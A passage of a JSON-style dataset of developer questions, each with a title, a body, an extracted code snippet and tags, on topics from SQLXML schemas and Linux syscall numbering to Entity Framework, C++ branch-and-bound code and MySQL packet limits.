xmlns:sql=\"urn:schemas-microsoft-com:xml-sql\" > \n\n <ElementType
name=\"weight\" dt:type=\"string\" />\n <ElementType name=\"fwd\"
dt:type=\"float\" />\n <ElementType name=\"aft\" dt:type=\"float\" />\n\n
<ElementType name=\"CGs\" sql:is-constant=\"1\">\n <element
type=\"gross\" />\n </ElementType>\n\n <ElementType name=\"gross\"
sql:relation=\"tblCGLimits\">\n <element type=\"weight\" sql:field=\"weight\"
/>\n <element type=\"fwd\" sql:field=\"fwd\" />\n <element type=\"aft\"
sql:field=\"aft\" />\n </ElementType>\n</Schema>\n", "sql-server vbscript
sqlxml"], "4860369": ["Java debugger: how is the inter-process communication
done?", "I know that you can debug a remote JVM starting it in \"debug mode\" (the
remote JVM opens a TCP port to communicate with the debugger).\nMy question is, how
is this communication done when the debug is not
remote but local? for example, when you use an IDE to launch an application to
debug it locally. The IDE launches the JVM in an independent process, and then how
is this inter-process communication done (in the case of Windows, for example)? is
it done throught a TCP port also?\n", "", "java eclipse intellij-idea debugging"],
"4192685": ["Conflict between system call number and system call handler pointer",
"When I was reading Operating System Concepts (7e, Silberschatz, Galvin, Gagne), I
encountered a study project about adding a system call to the linux kernel. The
book says that \n\nThe system call numbers for recent versions of the Linux kernel
are listed in\n /usr/src/linux-2.x/include/asm-i386/unistd.h. (for instance,
__NR_close, which\n corresponds to the system call close() that is invoked for
closing a file\n descriptor, is defined as value 6.) The\n
/usr/src/linux-2.x/arc/i386/kernel/entry.S under the heading\n
ENTRY(sys_call_table). Notice that sys_close is stored at entry numbered 6 in\n
the table to be consistent with the system call number defined in unistd.h\n file.
(pg. 75)\n\nI've downloaded latest linux source package from the ubuntu repository,
and found the mentioned source files with minor directory and file name changes.
But there is an interesting thing confuses me in the file /usr/src/linux-source-
2.6.31/arch/x86/kernel/less syscall_table_32.S, sys_close is stored at entry
numbered 6 as said in the book, nevertheless, in unistd.h file __NR_close defined
as 57, instead of 6. What is the reason of this difference?\nThanks in advance\n",
"", "linux operating-system linux-kernel syscall"], "25218": ["VB.NET: WYSIWYG page
maker tutorial", "I have a course work for which I have to make a (as advanced as
possible) WYSIWYG web page editor in VB.NET (2010). It should have a visual editor
with drag-drop support for several elements such as anchors, images, tables etc.,
and it should generate HTML based on that structure.\nI don't know where to begin
though.. I have some experience with vb.net, I made a tabbed notepad vaguely
following a tutorial, but I don't know how to make this drag-drop thingy in a
richtextbox.\nI've searched for a tutorial, but most of them are just too simple -
a text editor with browser control rendering the HTML.. I found one really nice and
advanced, but it's in german :-|\nSo, if anyone knows any resources / tutorials I
could use to start things I'll appreciate it.\n", "", "html vb.net editor
wysiwyg"], "2726154": ["sql standard - using aggregate functions inside aggregate
functions", "I've got 3 tables with different structures, which share the same
logical column: . I want to find the biggest price from all records from all 3
tables. I'm trying something like:\n\nbut I get an syntax error: . What is wrong
and how it should look like? This should be compatible to the SQL standard, not a
particular RDBMS.\n", "price", "sql aggregate-functions"], "4970404":
["_CrtSetBreakAlloc to track memory leak in a COM object", "When my application
finishes, debug build in visual studio prints out all unallocated object and the
sequence number of the allocation which was not freed. Then normally I just put in
a call to _CrtSetBreakAlloc(x) where 'x' is the alloc seq number and get a
convenient ASSERT at the moment of allocation. However this doesn't work when the
leak happens in a COM object, apparently. Is there a simple way to use the
allocation sequence number to get the execution to stop there?\nI tried setting a
conditional breakpoint in dbgheap.c and it doesn't trigger either, which I don't
understand -- COM object is build as debug.\n", "", "c++ visual-c++ com memory-
leaks"], "5562374": ["General purpose FromEvent method", "Using the new async/await
model it's fairly straightforward to generate a that is completed when an event
fires; you just need to follow this pattern:\n\nThis then allows:\n\nThe problem is
that you need to create a new method for every event in every class that you would
like to on. That could get really large really quick, and it's mostly just
boilerplate code anyway.\nIdeally I would like to be able to do something like
this:\n\nThen I could re-use the same method for any event on any instance. I've
spent some time trying to create such a method, and there are a number of snags.
For the code above it will generate the following error:\n\nThe event
'Namespace.MyClass.OnCompletion' can only appear on the left hand side of += or -=\
n\nAs far as I can tell, there won't ever be a way of passing the event like this
through code.\nSo, the next best thing seemed to be trying to pass the event name
as a string:\n\nIt's not as ideal; you don't get intellisense and would get a
runtime error if the event doesn't exist for that type, but it could still be more
useful than tons of FromEvent methods.\nSo it's easy enough to use reflection and
to get the object. The next problem is that the delegate of that event isn't
known (and needs to be able to vary) at runtime. That makes adding an event
handler hard, because we need to dynamically create a method at runtime, matching a
given signature (but ignoring all parameters) that accesses a that we already have
and sets its result.\nFortunately I found this link which contains instructions on
how to do [almost] exactly that via . Now the problem is that we need to emit IL,
and I have no idea how to access the instance that I have.\nBelow is the progress
that I've made towards finishing this:\n\nWhat IL could I possibly emit that would
allow me to set the result of the ? Or, alternatively, is there another approach
to creating a method that returns a Task for any arbitrary event from an arbitrary
type?\n", "Task", "c# task-parallel-library async-await"], "693382": ["How to
Consolidate Many Classes and Avoid instanceof?", "The program I'm helping to
develop is supposed to output several dynamically generated questions for the user
to answer. The questions are of different types and have a corresponding class
that they fill with the user-given information. My question is how to create
uniform behavior for the different constraints.\n\nThe base class is empty, as is
TConstraint. \n, and share three variables. However, and have one additional
variable that doesn't have.\nI feel like I'm trying to hammer through a brick wall
with some pincers. My one thought is to provide an abstract method to Constraint
with the signature:\n\nWhich are implemented by every subclass. However, passing a
string to determine which variable to set seems error-prone and a similarly bad
code smell.\nThe second option was to move the three similar variables up into
Constraint, but that still leaves with that extra bit of information I might need
to set. It doesn't help that doesn't need any of those.\nMy current brute-
force \"Screw this design.\" solution is an soup in which I check and fill in the
missing Constraint-specific information.\n\nIs there a better solution to this
design than the abstract function? \n", "Constraint", "java design"], "74314":
["What does this argument to the \\symbol command mean", "I was looking at this
page here and came across this line which I don't understand.\n\nCan you explain to
me what the significance of is, and how I could modify this command to give me
different symbols.\nThanks\n", "\\symbol{\"E052}\n", "symbols xetex enumitem"],
"5158466": ["Cursor not changing to pointer in Usemap/area case", "I have the
following HTML code which I cannot get to work quite right in all browsers:\n\nI am
trying to change the cursor to pointer when moved over a part of the usemap. But
its not working in Chrome/Safari.\nAny help will be appreciated.\n", "<div id
=\"right_header\"> \n <img id = \"usemapsignin\" src=\"/images/sign-in-
panel-wo-FB.png\" usemap = \"#signin\">\n</div> \n <map name
= \"signin\" >\n <area shape = \"rect\" coords = \"30,10, 150, 50\"
target = \"_blank\" alt = \"signin\" id=\"signin\"\n
onMouseOver=\"document.images['usemapsignin'].style.cursor='pointer'\"\n
onMouseOut=\"document.images['usemapsignin'].style.cursor='auto'\"/>\n
<area shape = \"rect\" coords = \"0,113, 172, 150\" target = \"_blank\" alt
= \"restowner\" id = \"restowner\"\n onclick = \"alert('Hello
Restaurant Owner!')\" />\n </map>\n", "html cursor area"], "3450736":
["TableView inside Popover, selecting cell on the same class", "I have one problem
with popover. I have a Master-Detail app, and as I could not make multi-level menus
on the MasterViewController, I choose to make a popover, but I can't use another
class to make the selection in this TableView, I need to do everything on the
MasterViewController class, is it possible?\nMasterViewController is already a
tableView, it's possible to select the index of the first menu, and then select the
index of the second menu?\nThanks in advance!!\nHere's how it
looks!\nhttp://img710.imageshack.us/img710/2156/capturadetela20120615s1.png\n", "",
"tableview master-detail popover master detail"], "3930759": ["Cross Field Custom
constraint annotation not working", "i have a dropdown field named which have the
values like phone, email etc and an input field named i want to validate the input
field for valid email address if the dropdown value is selected...\n\ni have the
following bean \n\nim trying to create a custom constraint which will validate the
field against an email regex if the field will have the value \ni have the
following code for the custom constraint\n\nand the validator like\n\nthe problem
is that its not firing on the form post... im using model dialog in which the bean
to be validated is rendered\nREF: Cross field validation with Hibernate Validator
(JSR 303)\nlooking forward to your suggestions and guidance \n", "ContactTypeName",
"hibernate jsf-2
form-validation bean-validation"], "622332": ["Using the (strong) law of large
numbers problem", "this is a practice problem I am doing. It says \"Suppose that in
a community the distributions of heights of men and women in centimeters are N(173,
40) and N(160, 20) respectively. Calculate P that the average height of 10 randomly
selected men is at least 5 centimeters larger than the average height of six
randomly selected women.\" I am tempted to say that I should just look at the
probability that height of 1 randomly selected man is at least 5 cm greater than
height of 1 randomly selected woman, but I am struggling to make this rigorous.
Help appreciated! P.S. Central Limit Theorem might be used here too, this is a
chapter review question so not sure what exactly can be useful.\n", "",
"probability"], "3610737": ["EF 4.1 Code First: Trigger update of many-to-many", "I
have an entity, BusinessUnit, which has a many-to-many relationship with a Contact
entity. We're using Fluent configuration as per the sample below:\n\nThe Contact
entity has no idea what parents it may be related to. We are using Silverlight +
WCF, so lazy loading and proxy creation is disabled. \nWe create or modify an
object graph on the client consisting of a BusinessUnit instance and zero or more
Contact instances, then send to a WCF service to save, where a new context is
created and we add / attach / remove as necessary before saving changes.\nThe
problem is that if I add a new contact to the Contacts collection on an existing
business unit, EF does not insert a junction record - it knows to add the new
Contact, because I've added it, but not the BusinessUnitContact row that maps the
business unit to the contact.\nThe Contacts property on BusinessUnit is an
ObservableCollection<Contact>. It works when the parent business unit is added, but
not when it is attached.\nIs there a way that I can tell EF to modify the Contacts
association when attaching it to a context, so that it will work out what new
junction records need to be inserted?\n", "public BusinessUnitConfiguration()\n{\n
HasMany(c => c.Contacts)\n .WithMany()\n .Map(m =>\n {\n
m.ToTable(\"BusinessUnitContact\");\n
m.MapLeftKey(\"BusinessUnitId\");\n m.MapRightKey(\"ContactId\");\n
});\n\n ToTable(\"BusinessUnit\");\n}\n\npublic ContactConfiguration()\n{\n
ToTable(\"Contact\");\n} \n", "entity-framework-4.1"], "4052674": ["Where do I
put business logic when I'm using the repository pattern?", "I am using the
Repository Pattern for my application. I have a class User. User is identified by
Email. The UserRepository contains a method CreateUser(User user). There is a
business rule saying that users should have a unique Email. \nI want to implement a
transaction which first checks whether an email is in use and if not, the user is
created. Where should I put this code which is responsible for checking the
uniqueness of the Email?\nThis is definitely a business rule; it is business logic.
I think it is not correct to put this check in my UserRepository implementation.\
n", "", "design repository-pattern"], "609233": ["Access MySQL database from
virtual machine hard drive (EBS volume) in Amazon EC2", "I had an Ubuntu image that
was corrupted and will not longer boot (hosted with EC2). This is just a problem
with the OS booting and not a problem wit the actual EBS volume. So I have mounted
the EBS volume on another EC2 instance which is working. How can I access the
MySQL database on the EBS volume I have mounted so I can copy the data over to the
MySQL instance running on the working box?\n", "", "linux mysql amazon-ec2"],
"3513555": ["Branch and bound algorithm implementation", "I'd need to implement a
branch and bound algorithm to prove the effectiveness of an allocating strategy for
storage management in my bachelor thesis. \nI'm not a programmer, I have some
little know-how in C, but I can realize this algorithm can't be written straight
away, because it is kind of artificial intelligence and needs to make decisions. \
nI'd like to know what is the way to approach this problem.\nI have working code
for iteration 1, so that it calculates everything I need for each node, but I'm
storing data in a simple array of structures representing the nodes of level 1. The
problem is that now, if x is the number of level nodes, I have to create x-1,x-2,x-
3,.... new nodes respectively starting from nodes 1,2,3,...\nSo I am asking if
someone would be so kind to put me in the right way to approach the problem.\
nhere's the code I have so far, working for first iteration, sorry but comments are
in italian:\n\n", "//\n// main.cpp\n// prova1\n//\n// Created by Marco Braglia
on 13/02/12.\n// Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n//\n\
n#include <fstream>\n#include <iostream>\n#include <vector>\n\nusing namespace
std;\n\n// definizione nuova struttura per i nodi dell'albero decisionale\nstruct
nodo{\n int last_prod;\n int last_slot;\n float Z_L;\n float Z_U;\n float g;\n
bool fathomed;\n };\n\n// dichiarazione variabili\nfloat distanze[361];\nint
slot[112];\nint slot_cum[112];\nfloat COIp[112];\nint domanda[112];\nstruct nodo
n_0;\nstruct nodo n_1[112];\nstruct nodo n_2[111][111];\nfloat Zb;\n\nfloat
LowerBound(struct nodo n);\nfloat UpperBound(struct nodo n);\n\nint main()\n{\n\n\
n\n// lettura dati input\n// distanze slot\n\nifstream dist_file (
\"/Users/MarcoBi/Desktop/TESI di LAUREA/Xcode/dati/distanze.txt\" );\n\n\nif ( !
dist_file.is_open() ) {\n // il file non pu\u00f2 essere aperto\n}\nelse {\
n // leggi i dati nell'array distanze[]\n for(int i=1; !dist_file.eof(); i++)
{\n dist_file >> distanze[i];\n }\n\n // visualizza l'array per
controllo\n //for(int i=0; i<360; i++){\n //cout << distanze[i] << \"\\n \";\
n //}\n}\n\n//slot necessari per prodotto\n\nifstream slot_file (
\"/Users/MarcoBi/Desktop/TESI di LAUREA/Xcode/dati/slot.txt\" );\n\nif ( !
slot_file.is_open() ) {\n // il file non pu\u00f2 essere aperto\n}\nelse {\
n // leggi i dati nell'array slot[]\n for(int i=1; !slot_file.eof(); i++){\n
slot_file >> slot[i];\n }\n\n for(int i=0; i<112; i++){\n
slot_cum[i]=0;\n }\n\n for(int i=1; i<112; i++){\n
slot_cum[i]=slot_cum[i-1]+slot[i];\n }\n // visualizza l'array per controllo\
n // for(int i=0; i<111; i++){\n // cout << slot[i] << \"\\n \";\n // }\n //
cin.get();\n}\n\n// COIp\n\nifstream coi_file ( \"/Users/MarcoBi/Desktop/TESI di
LAUREA/Xcode/dati/COIp.txt\" );\n\nif ( !coi_file.is_open() ) {\n // il file non
pu\u00f2 essere aperto\n}\nelse {\n // leggi i dati nell'array COIp[]\n
for(int i=1; !coi_file.eof(); i++){\n coi_file >> COIp[i];\n }\n\n //
visualizza l'array per controllo\n //for(int i=0; i<111; i++){\n // cout
<< COIp[i] << \"\\n \";\n // }\n}\n\nifstream d_file (
\"/Users/MarcoBi/Desktop/TESI di LAUREA/Xcode/dati/domanda.txt\" );\n\nif ( !
d_file.is_open() ) {\n // il file non pu\u00f2 essere aperto\n}\nelse {\n //
leggi i dati nell'array COIp[]\n for(int i=1; !d_file.eof(); i++){\n
d_file >> domanda[i];\n }\n}\n\n\n//inizializzazione nodi\nn_0.last_prod=0;\
nn_0.last_slot=0;\nn_0.Z_L = 0;\nn_0.Z_U = 0;\nn_0.g = 0;\nn_0.fathomed = false;\n
for (int j=0; j<112; j++){\n\n n_1[j].last_prod = 0;\n
n_1[j].last_slot = 0;\n n_1[j].Z_L = 0;\n n_1[j].Z_U = 0;\n
n_1[j].g = 0;\n n_1[j].fathomed = false;\n
}\n\n\n//inizializzazione soluzione obiettivo ad
infinito\nZb=999999999999;\n\n//calcolo bounds per nodi al livello 1\nfor(int
i=1;i<112;i++){\n n_1[i].last_prod=i;\n
n_1[i].last_slot=slot_cum[i];\n n_1[i].Z_L=LowerBound(n_1[i]);\n
n_1[i].Z_U=UpperBound(n_1[i]);\n\n //calcolo g_c\n float dm;\n int D;\n
for(int i=1;i<112;i++){\n dm=0;\n for(int j=1;j<=slot_cum[i];j++){\n
dm=dm+distanze[j];\n }\n dm=dm/slot_cum[i];\n D=0;\n
for(int k=1;k<=n_1[i].last_prod;k++){\n D=D+domanda[k];\n }
\n n_1[i].g=2*dm*D;\n }\n if (i==111) (n_1[i].fathomed=true);
//fathoming Rule 1 (ultimo prodotto)\n if (n_1[i].Z_L>n_1[i].Z_U)
(n_1[i].fathomed=true); //fathoming Rule 3 (LB > UB)\n if
(n_1[i].Z_U<Zb) (Zb=n_1[i].Z_U); //aggiorna UB migliore\n\
n}\n\nofstream livello1 ( \"/Users/MarcoBi/Desktop/TESI di
LAUREA/Xcode/risultati/livello1.txt\" );\n\nfor(int i=1; i<112; i++){\n if
(n_1[i].fathomed==false)\n (livello1 <<\"(\"<< i
<<\",\"<<n_1[i].last_slot<<\")\"<< \" LB=\" << n_1[i].Z_L << \" UB=\" << n_1[i].Z_U
<< \" g=\" << n_1[i].g <<'\\n');\n}\n\n}\n\nfloat LowerBound(struct nodo n){\n int
S[112];\n float d[112];\n float dmin[112];\n int q[112];\n float D;\n float LB;\n\n
for(int i=1; i<112; i++){\n q[i]=q[i-1]+slot[i];\n }\n\n//Calcolo S_pigreco\
nfor(int i=0;i<112;i++){\n S[i]=0;\n}\n\nfor(int i=n.last_prod +2;i<112;i++){\n
for(int j=n.last_prod +1;j<=i;j++){\n S[j]=S[j-1]+slot[j];\n }\n}\
nS[110]=S[109] + slot[110];\nS[111]=S[110] + slot[111];\n\n//calcolo somma distanze
da slot j+1 a q\nfor(int i=0;i<112;i++){\n d[i]=0;\n}\n\nfor(int j=n.last_prod +
1;j<112;j++){\n for(int i=n.last_slot + 1; i<n.last_slot + 1 + S[j]; i++){\n
d[j]=d[j]+distanze[i];\n }\n}\n\n//calcolo dmin_pigreco\nfor(int i=n.last_prod
+1; i<112; i++){\n dmin[i]= d[i]/S[i];\n}\n\nD=0;\nfor(int i=n.last_prod +1;
i<112; i++){\n D=D+dmin[i]*domanda[i];\n}\nLB=(2*D);\n return LB;\n}\n\nfloat
UpperBound(struct nodo n){\n float Ud;\n float Ur;\n int S[112];\n float d[112];\n
float dm;\n int D;\n\nfor(int i=0;i<112;i++){\n S[i]=0;\n}\nfor(int
i=n.last_prod +2;i<112;i++){\n for(int
j=n.last_prod +1;j<=i;j++){\n S[j]=S[j-1]+slot[j];\n }\n}\n\n//calcolo
Ud\nfor(int i=0;i<112;i++){\n d[i]=0;\n}\n\nint t=n.last_slot;\n\nfor(int
i=n.last_prod +1;i<112;i++){\n for(int j=t + 1; j<=t + slot[i]; j++){\n
d[i]=d[i]+distanze[j];\n }\n t=t+slot[i];\n d[i]=d[i]/slot[i];\n}\nUd=0;\
nUr=0;\n\nfor(int i=n.last_prod +1;i<112;i++){\n Ud=Ud + 2*(d[i]*domanda[i]);\
n}\n\n//calcolo Ur\ndm=0;\nfor(int i=n.last_slot +1; i<361; i++){\n
dm=dm+distanze[i];\n}\n\ndm=dm/(360-n.last_slot);\n\nD=0;\n\nfor(int i=n.last_prod
+1; i<112; i++){\n D=D+domanda[i];\n}\n\nUr=2*dm*D;\n\nreturn min(Ur,Ud);\n} \
n", "c++ nodes branch-and-bound"], "1502081": ["How do I get Python XML to stop
having wasted Child Nodes", "I have a simple XML document I'm trying to read in
with Python DOM (see below):\nXML File:\n\nPython Code:\n\nResult:\n\nThe result
should be 9 Child Nodes (Reserved, CPU, Flag, VQI, Group_ID, DI, DE, ACOSS, and
RGH), but for some reason it is returning a list of 19 nodes with 10 of them being
whitespace (why is this even being considered a node in the first place?!). Can
anyone tell me if there's a way to get the XML parser to not include whitespace
nodes?\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<HeaderLookup>\n
<Header>\n <Reserved>2</Reserved>\n <CPU>1</CPU>\n
<Flag>1</Flag>\n <VQI>12</VQI>\n <Group_ID>16</Group_ID>\n
<DI>2</DI>\n <DE>1</DE>\n <ACOSS>5</ACOSS>\n <RGH>8</RGH>\n
</Header>\n</HeaderLookup>\n", "python xml whitespace nodes"], "2843795": ["What
tools do you use to share information among developers in your group?", "We already
have mentoring, share information among each other, and hold regular technical
sessions. However, we want these things written down, for the record and for new
team members in the future. Right now we're at around 30 developers.\nWe're
thinking about an internal blog and wiki. \nWhile it would be great to share stuff
on public blogs (and maybe even have official public developer blogs), for now we
want to keep it internal. Our shop does mostly bespoke programming, and not
products, so there will be a lot of proprietary customer information there. Self-
censorship for a public blog will just slow us down.\nWikis are nice in concept but
they need more organization and editorial, so I'm not convinced that it will be as
sustainable.\nHow does your organization do it.\n", "", "wiki blogs knowledge-
management"], "921642": ["ASP.NET AJAX 3.5 and IE6?", "I recently upgraded an
ASP.NET app to .NET 3.5 and switched to the newer version of the ASP.NET AJAX
library.\nIn FireFox and IE7, everything works great, in IE6, anything that would
perform a callback (Partial Refresh, or calling a PageMethod/WebMethod) throws an
error:\n\nIs there a known compatibility issue with .NET 3.5 and IE6?\nEDIT: \nI
attached a debugger to IE6 and was able to find the exact line it is breaking on:\
n\nIt appears that IE6 is denying the permission to do \"open\". This is not a
cross-site request, so I am puzzled. This site is currently running on a fake
hostname mapped to a local server, and not on an actual domain, but I don't think
that should make a difference.\nEDIT: I added a bounty, this bug is still driving
me nuts...HALP!\nEDIT:\nSolution found!\nThis forum post made me curious enough to
search for MXSML, and sure enough, there it was, a typo in the framework library.\
nMsXML was typed as MXsml.\nOf course, when dealing with assembly scripts, you
can't do much to fix them, but I installed SP1 hoping that they were corrected
there. They were...So, if you have this issue, install .NET 3.5 SP1 and it will go
away.\nWoo!\n", "Object Doesn't support this property or method\nLine: 5175\nChar:
9\n", "javascript .net-3.5 asp.net-ajax internet-explorer-6"], "1092668": ["Extract
spreadsheet from PDF", "I need to get spreadsheet data embedded in a PDF into
Google Spreadsheet. I have thought of two ways to do this:\n\nUse copy+paste from
the PDF viewer (Preview on Mac)\nFind a free utility that can extract the
spreadsheet from the PDF\n\nUsing 1) pastes each column as a separate line (rather
than each row as a line with each column tab-separated), so that will require
writing a somewhat intelligent text parser.\nAbout 2) I am new to PDF parsing, so
can anyone recommend a free (command line) utility that does this? (I don't even
know if the spreadsheet in the PDF is stored as a \"spreadsheet\" as such or if
it's just a bunch of text and lines that happen to look like a spreadsheet)\
nUpdate: Pasting into Mac Textedit gives some sort of a table (though each column
appears as one huge row separated by newlines), and pasting this into a text editor
(Emacs) still shows each column as a line separated by newlines.\n", "", "pdf
spreadsheet"], "2368603": ["Is there a way to see if a cell gets used in a formula
and mark it with conditional formatting", "I have set up and inventory sheet that
uses part numbers as references, there is a dated log out sheet that goes into the
formula on the current inventory sheet when it matches a part number.\nDue to human
error and mistake in entering part numbers, I would like to know if the value being
logged out gets used, perhaps with a green check or light if used and red X or
light if it's not used.\nSo I would need something that would do the following:\n\
n", "=IF cell A1 is used in any formula in Sheet1!B:B THEN mark with green check,
IF cell A1 is not used in any formula in Sheet1!B:B THEN mark it with a red X\n",
"excel vba excel-formula"], "1626924": ["How to redirect TTY1 to an X11 (KDE)
Konsole shell?", "I would like to see what is going on at (the console I was
booting from)\nwhile I am now on running X11 with KDE4, without switching back to
(ALTCTRLF1).\nI would like to see it inside KDE's Konsole, if possible.\n(Have TTY1
redirected into Konsole. Sort of. Including all boot history that was scrolling
down while I was booting.)\nIs that possible?\n", "TTY1", "terminal kde x11 tty
konsole"], "3134261": ["Like button wont add to blog?", "Hi there I have this blog
http://hfbartist-abrushwith.blogspot.com/ on blogger. What ideally I'd like to do
is add a facebook like button at the end of each post I do. Either in the body of
the post or in the comments box. I don't really understand which option of the code
I'm supposed to use, so I tried them all and nothing.\nCan anyone let me know if
it's possible and how to do it if so?\nThanks muchly\nx\n", "", "facebook facebook-
like blogs"], "3557776": ["Is there a way to add keyboard support to a WP8 xaml
DrawingSurface", "Is there a way to add keyboard support to a WP8 xaml
DrawingSurface? I can do this:\n\nBut tapping on the DrawingSurface does not bring
up a keyboard. In Windows 8 it appears that you need TextPattern to make custom
controls pop up the keyboard, but I don't think this is available in WP8. Is there
another approach in Windows 8, or do you need to just go fully native to get
Direct3D keyboard support? Going native means abandoning 2/3 of the WP8 api's.\n",
"<Grid x:Name=\"LayoutRoot\" Background=\"Transparent\">\n <DrawingSurface
x:Name=\"DrawingSurface\" Loaded=\"DrawingSurface_Loaded\"
KeyDown=\"on_key_down_3d\" />\n</Grid>\n", "c++ xaml windows-phone-8"], "5229527":
["Can I have too many D3D devices? (Factory method / Singleton alternative)", "I
want to create a text rendering class for my D3D11 renderer,\nhowever for
DirectWrite/D2D <-> D3D interop, an ID3D10Device that shares the same Adapter is
required.\nSince no other part of my program needs the D3D10 device, I am wondering
where I can tuck it away.\nI would like to be instantiable without having to keep
the D3D10 device around externally (or globally), or calling any sort of
functions.\nThat can be achieved if each instance of simply creates its own D3D10
device, but I don't know if that's desirable - I could end up creating hundreds or
possibly thousands of instances.\nSo I considered something along the lines of a
Factory method to share the same D3D10 device between instances:\n\nThis would
make it impossible to instantiate for a different d3d11device/adapter, though. \
nWhile that's not something I think I will need, I'm not sure I want to make it
impossible.\nSo maybe something like this could work for multiple devices, giving
each caller the shared D3D10 device belonging to the specified D3D11 device:\n\nSo,
would it desirable to share the device between intances, and if so would this be a
good/clean way of going about it?\nOr can I carelessly create as many devices as I
want?\n(the instances would not be trying to use the shared device from multiple
threads at once, so that should not be a concern)\n", "D3DText", "c++ design-
patterns c++11 directx"], "3911037": ["How to traverse up the directory structure
and kick off mvn build in vimscript?", "I'm a new vim user who is looking for a
little help with a script that would allow me to call mvn build.\nCurrently I map
this as follows\n\nbut because this tries to do the build in my current working
directory (currently java development so I'm deep in a package under src usually)\
nHow might I go up the directory structure so this mvn build command works
correctly?\nThank you in advance\n", "map <F3> :! mvn build<CR>\n", "vim maven
vimscript"], "3340286": ["sharepoint editprofile.aspx always redirects to
/Person.aspx, even with mysites disabled", "I have a sharepoint farm in which I
have modified the global action menu to include a link to . This is fine as far as
it goes, but when the user posts to this page, it always tries to redirect to . My
site collection settings do not have a Portal provider connection enabled, and my
mysite provider is also configured to disallow users from creating mysites. \nI
have tried using the and properties of the control on the page, but to no
avail.
\nAnyone have any suggestions? This is a pretty annoying issue for users, but
I'm a bit at a loss about what to do (short of configuring IIS to always redirect
for /Person.aspx, which I'd rather not do).\n", "/_layouts/editprofile.aspx", "my-
site user-profile 2007"], "3165438": ["Version-control the test cases", "Should the
test plan be kept in the version control with the code ? That is, the test plan and
the code are put under the same version control system and have the same revision
numerating. I am not talking about unit test code, but a test plan document
populating with manual test cases. There are some web-based test case management
systems, but I doubt how the test cases are version-controlled and synchronized
with the code ?\nUPDATE: Acutally I am looking for a web-based test management
system for my oragnization, because it allows easy access to the non-developers
team members (i.e. no need to use VC to check out the test plan from the
repository). However, I'd prefer to version-control these test plans, synchronized
with major milestone/releases of the software. I've not found any test management
system satisfying this need. Or I am looking in the wrong direction ?\n", "",
"version-control testing versioning"], "847810": ["Implementing a QHash-like lookup
with multiple keys", "I'm trying to find the best way to implement a QHash-like
lookup table that uses multiple keys to return one value. I have read that the
Boost library has similar functionality, but I would like to avoid this if
possible. \nAn example of what I would like to do is as follows (obviously the
following pseudo-code is not possible):\n\nMy first (and extremely slow) idea was
to just create a Struct, and iterate over a list until I find a qualifying item.\n\
nMy other idea was to concatenate the two keys into one key, and implement a couple
functions to combine and separate the two keys when needed. While this would work,
and probably be a lot faster than a full iteration, it seems a bit hacked
together.\n\nDoes anyone know of a better way to try and achieve this? \n",
"//First key (int) - Engine cylinders\n//Second key (int) - Car weight\n//Value
(int) - Top speed\nMyLookup<int, int, int> m_Lookup\nm_Lookup.insert(6, 1000,
210);\nm_Lookup.insert(6, 1500, 190);\nm_Lookup.value(6, 1000); //Returns 210\n",
"qt key lookup lookup-tables qhash"], "5568130":
["navigator.notification.activityStart() not working in blackberry OS 7 but working
in android", "I am using phonegap 1.1.0 and using activityStart() on submit of a
button to authenticate the data with server, this works fine in android but is not
working in blackberry OS 7 device. How can i get it to work on all the devices?\n",
"", "javascript android html5 blackberry phonegap"], "4224601": ["How can I use
LaTeX-commands inside of a listing?", "I'm using the listings package in a LaTeX
document. It works great, but it doesn't allow me to put LaTeX commands inside of
the listing. I would like to use a counter to enumerate some of the interesting
parts in the source code.\nIs there a way to enable LaTeX commands in source
listings?\n", "", "listings"], "1883298": ["Techniques / tips for releasing
a \"2012 Edition\" of an existing App Store app", "We have a data / reference
app \"SuperApp\" that has been for sale in the iOS App Store for over a year now.\
nWe are working on a new release with all the latest data that we hope to start
selling as \"SuperApp 2012\" soon.\nWhat are the recommended ways to go about
releasing this new version, and removing the old version from sale? Are there any
gotchas to look out for?\nSome particular questions:\n1) If we release \"SuperApp
2012\" and then remove \"SuperApp\" from the App Store, can we later change the
name of \"SuperApp 2012\" to \"SuperApp\"?\n2) When we remove \"SuperApp\" from the
App Store, will any other developers be able to reclaim the \"SuperApp\" name?\
nAnything else we should be keeping in mind? Thanks!\n", "", "iphone ios app-
store"], "5995970": ["How to convert a single line of Hex numbers into a multi-row
Excel table?", "I'm currently at some hex strings in a video game's data files. The
structure is:\n\nWhere:\n\nFor example:\n\n...would be describe an item that costs
40 gold (which is 28 in hex) with an ID of \"01AF\" (I have a reference list for
all the ID/Items in the game).\nI want to put this into an excel table with
columns:\n\nHow would a super user attack this task if one had something like
this:\n\n", "XX 01 YY YY (then repeats)\n", "microsoft-excel string-manipulation"],
"4443608": ["Syntax for loading observers (in a model subdirectory) in
environment.rb?", "I have a lot of model observers, so I want to organize them in a
subdirectory under the model folder.\n\nPrior to placing in the subdirectory, I was
loading the observers like this:\n\nNow when I try to launch the server, I get the
following error:\n\nWhat is the proper syntax that I need to use in environment.rb
now that the observers look like? \n\n", "model --> observer --> user_observer.rb,
activity_observer.rb, etc.\n", "ruby-on-rails model module environment subfolder"],
"1869659": ["Command-line program to update R Markdown code to use `$latex`
delimter", "UPDATE (13th June 2012): RStudio now supports a range of mathjax
delimtiers including single dollar signs and double dollar signs without .\n\nIn
0.96 RStudio changed its Mathjax syntax from to for inline equations and from to
for displayed equations.\nThus, in summary:\n\nThe revised syntax adds a qualifier
to the $ or $$ equation begin delimiter.\n\nI have some existing scripts that use
the original delimiter and I would like to update them to use the new delimiter.\
nI was thinking that sed or awk might be suitable. \nAlso dollars that appear in r
code blocks like this should not be altered.\n\nQuestion\n\nWhat would be a good
simple command-line program perhaps using sed or awk to update my R Markdown code
to use the newer mathjax delimiter in R Studio?\n\nWorking example 1\nOriginal
text:\n\nafter transformation becomes\n\nWorking example 2\n\nshould become\n\n",
"latex", "r sed awk mathjax rstudio"], "2738710": ["how to check and set
max_allowed_packet mysql variable", "\nPossible Duplicate:\nMySQL Error 1153 - Got
a packet bigger than \u2018max_allowed_packet\u2019 bytes \n\nHi I am getting the
error :\n\nbut I made no changes in my source code and the hosting states that they
did not made any change in server settings.\nI don't know what happened. But I am
trying to find the reason.\nso, how to check mysql variable by php script?\nand is
that possible to set it in source code?\n", "[1153] Got a packet bigger than
'max_allowed_packet'bytes", "php mysql"], "2911808": ["how to dynamically create
controls for GridView DataTemplate in WPF?", "I have a GridView control:\n\nfor the
first column(\"name\"), I would like to have a mechanism that when every record is
